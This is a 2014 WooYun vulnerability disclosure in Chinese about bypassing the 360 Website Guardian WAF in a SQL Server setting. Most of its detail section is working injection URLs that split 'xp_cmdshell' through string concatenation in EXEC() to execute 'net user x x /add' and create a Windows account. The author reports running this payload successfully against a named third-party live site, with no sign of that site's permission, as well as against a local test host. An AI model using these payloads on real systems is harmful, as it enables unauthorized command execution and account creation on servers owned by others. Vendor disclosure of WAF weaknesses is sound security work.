漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-064705
漏洞标题：360网站卫士waf绕过(sqlserver环境)
相关厂商：奇虎360
漏洞作者： sql
提交时间：2014-06-12 23:53
修复时间：2014-07-27 23:54
公开时间：2014-07-27 23:54
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：18
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-12： 细节已通知厂商并且等待厂商处理中
2014-06-13： 厂商已经确认，细节仅向厂商公开
2014-06-23： 细节向核心白帽子及相关领域专家公开
2014-07-03： 细节向普通白帽子公开
2014-07-13： 细节向实习白帽子公开
2014-07-27： 细节向公众公开
简要描述：
360网站卫士waf绕过
详细说明：
对于mssql 进行注入，我们有很多变方法 可以绕过waf。
例如执行xp_cmdshell的存储过程。
我们可以这样
http://192.168.1.106:81/asp/num.asp?id=1;EXEC('ma'%2b'ster..x'%2b'p_cm'%2b'dsh'%2b'ell''net user x x /add''')--
进行拆分。
执行后 顺利添加用户。
那么我找到一个360网站卫士防护的站点。
http://www.xiangshu.com/login.asp?id=1';EXEC master..xp_cmdshell '1.exe'--
不拆分的情况下 直接拦截。
而
http://www.xiangshu.com/login.asp?id=1';EXEC('ma'%2b'ster..x'%2b'p_cm'%2b'dsh'%2b'ell''net user x x /add''')--
顺利通过，没有拦截。
成功绕过 360网站卫士。
漏洞证明：
同上
修复方案：
加强规则。
版权声明：转载请注明来源 sql@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：5
确认时间：2014-06-13 16:56
厂商回复：
感谢您对网站卫士的支持！
欢迎关注360安全应急响应中心月奖励计划！
最新状态：
暂无